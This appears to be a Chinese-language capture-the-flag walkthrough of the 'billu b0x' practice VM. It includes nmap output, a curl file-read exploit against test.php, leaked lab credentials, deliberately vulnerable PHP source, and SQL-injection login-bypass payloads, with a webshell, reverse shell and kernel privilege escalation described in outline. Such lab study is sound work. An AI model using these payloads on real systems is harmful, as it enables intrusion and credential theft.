信息收集
#正常進行信息收集就好Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-18 22:07 CST
Nmap scan report for 192.168.182.142 (192.168.182.142)
Host is up (0.00073s latency).PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
| /test.php: Test page
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
MAC Address: 00:0C:29:A9:EF:A9 (VMware)Nmap done: 1 IP address (1 host up) scanned in 31.10 seconds
只開放了兩個端口,分別是22端口和80端口。貌似存在一個test.php測試頁面!突破點就是在80端口上了,一旦找到用戶名和密碼,就可進行ssh登錄嘗試。
滲透測試
首頁是這樣的!看到提示可能是存在sql注入? 這里進行了測試,發現貌似并沒有sql注入漏洞!
看看test測試頁面是什么:
哦?這里出現了參數file,這個file參數的值還是路徑! 那么很可能就是文件包含漏洞!
利用curl進行測試:
確定任意文件讀取的漏洞!嘗試讀取shadow文件!
沒有權限讀取!既然這樣的話,看看都存在什么文件吧,進行目錄爆破:
下面就是依次看看這些文件都是什么作用!
add.php
利用任意文件讀取漏洞,讀取這個文件的源碼:
<?phpecho '<form method="post" enctype="multipart/form-data">Select image to upload:<input type="file" name=image><input type=text name=name value="name"><input type=text name=address value="address"><input type=text name=id value=1337 ><input type="submit" value="upload" name="upload">
</form>';
?>
C
這個界面打開是空白的,所以我們嘗試直接讀取這個文件里面的內容!
curl -d "file=c.php" http://192.168.182.142/test.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );ini_set( 'session.cookie_httponly', 1 );$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");// Check connection
if (mysqli_connect_errno()){echo "connection failed -> " . mysqli_connect_error();}
?>
發現數據庫的賬號和密碼!!
billu b0x_billu
in
phpmy
數據庫!直接使用上面的數據庫賬號和密碼進行登錄即可!
在auth表里面找到了網站的登錄賬號和密碼!
嘗試直接登錄網站!
panel.php
成功登錄網站之后,便來到了panel界面!這個界面可以上傳文件:
可以上傳文件!來到了這里我就開始了上傳,發現在上傳的時候,只能上傳png jpg gif文件,一直繞過,發現繞不過去,當前的php版本信息是5.3.10 小于5.4版本,嘗試使用%df來進行繞過,但是發現并不能繞過!
這里就糊涂了,沒通過任意文件讀取,去看看panel文件的源碼是什么,而是轉到了ssh上面,嘗試無果!
回想起來當前的頁面,于是就看了下源碼!
<?php
session_start();include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{header('Location: index.php', true, 302);exit();}echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{unset($_SESSION['logged']);unset($_SESSION['admin']);header('Location: index.php', true, 302);
}
echo '<hr><br>';echo '<form method=post><select name=load><option value="show">Show Users</option><option value="add">Add User</option>
</select>  <input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{$dir=getcwd();$choice=str_replace('./','',$_POST['load']);if($choice==='add'){include($dir.'/'.$choice.'.php');die();}if($choice==='show'){include($dir.'/'.$choice.'.php');die();}else{include($dir.'/'.$_POST['load']);}}if(isset($_POST['upload']))
{$name=mysqli_real_escape_string($conn,$_POST['name']);$address=mysqli_real_escape_string($conn,$_POST['address']);$id=mysqli_real_escape_string($conn,$_POST['id']);if(!empty($_FILES['image']['name'])){$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);$image=array('jpeg','jpg','gif','png');if(in_array($r,$image)){$finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image']['tmp_name']);if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )){if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])){echo "Uploaded successfully ";$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; mysqli_query($conn, $update);}}else{echo "<br>i told you dear, only png,jpg and gif file are allowed";}}else{echo "<br>only png,jpg and gif file are allowed";}
}}?>
發現這個頁面存在文件包含漏洞!只要存在continue參數和load參數即可進行文件包含了!因此continue的參數值 為 任意,但是load參數的值是我們的馬子的地址就行!(那就好了 我們不需要直接傳php的馬了 穿圖片馬就行了)
直接在panel里面復制圖片馬的地址:
成功執行我們的代碼!接下來就是生成php的反彈shell 的馬,再利用文件包含漏洞進行getshell!
提權
直接利用kali中自帶的反彈shell的腳本進行getshell了!
拿到初始的shell之后,查看內核信息,這個版本之前遇到過很經典的內核漏洞!
利用
攻擊機上起php服務,利用靶機進行下載!
補充
其實我們在首頁就已經提示我們說“Show me your SQLI skills” 但是我們并沒有找到相關sql注入的漏洞!既然存在任意文件讀取漏洞,那么我們就可以利用他來讀取index.php的內容!
<?php
session_start();include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{$_SESSION['logged']='';}if($_SESSION['logged']==true && $_SESSION['admin']!='')
{echo "you are logged in :)";header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{$uname=str_replace('\'','',urldecode($_POST['un']));$pass=str_replace('\'','',urldecode($_POST['ps']));$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {$row = mysqli_fetch_assoc($result);echo "You are allowed<br>";$_SESSION['logged']=true;$_SESSION['admin']=$row['username'];header('Location: panel.php', true, 302);}
else
{echo "<script>alert('Try again');</script>";
}}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";?>
然后我們便可以找到三個關鍵的sql注入的過濾語句:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
整個過濾是針對單引號進行的過濾!
我們只需要輸入:
select * from auth where pass='\'and uname='or 1=1-- \';
select * from auth where pass='\'and uname='or 1=1#';
這里的整體的思路是這樣的:當我們輸入“\”的時候,其實在select的語句中,是轉義字符的意思,那么我們針對select * from auth where pass='\'and uname='or 1=1-- \'; 來說就是pass=' 這個單引號和uname='的引號閉合!!!(\'and uname=)括號里面的內容就是pass的內容! 然后后面的or 1=1以及-- 注釋使得我們能夠成功的登錄到系統里面!
登陸進行就正常操作即可了!
這里還有一個知識點就是phpmyadmin的默認配置文件名字:config.inc.php 默認的路徑就是在phpmyadmin下面!
既然這里利用dirsearch發現了路徑:phpmy 那么猜測這個路徑下面可能存在著config.inc.php文件!
這里確實讀取到了這個文件!里面還有root的賬號和密碼!!直接ssh登錄即可!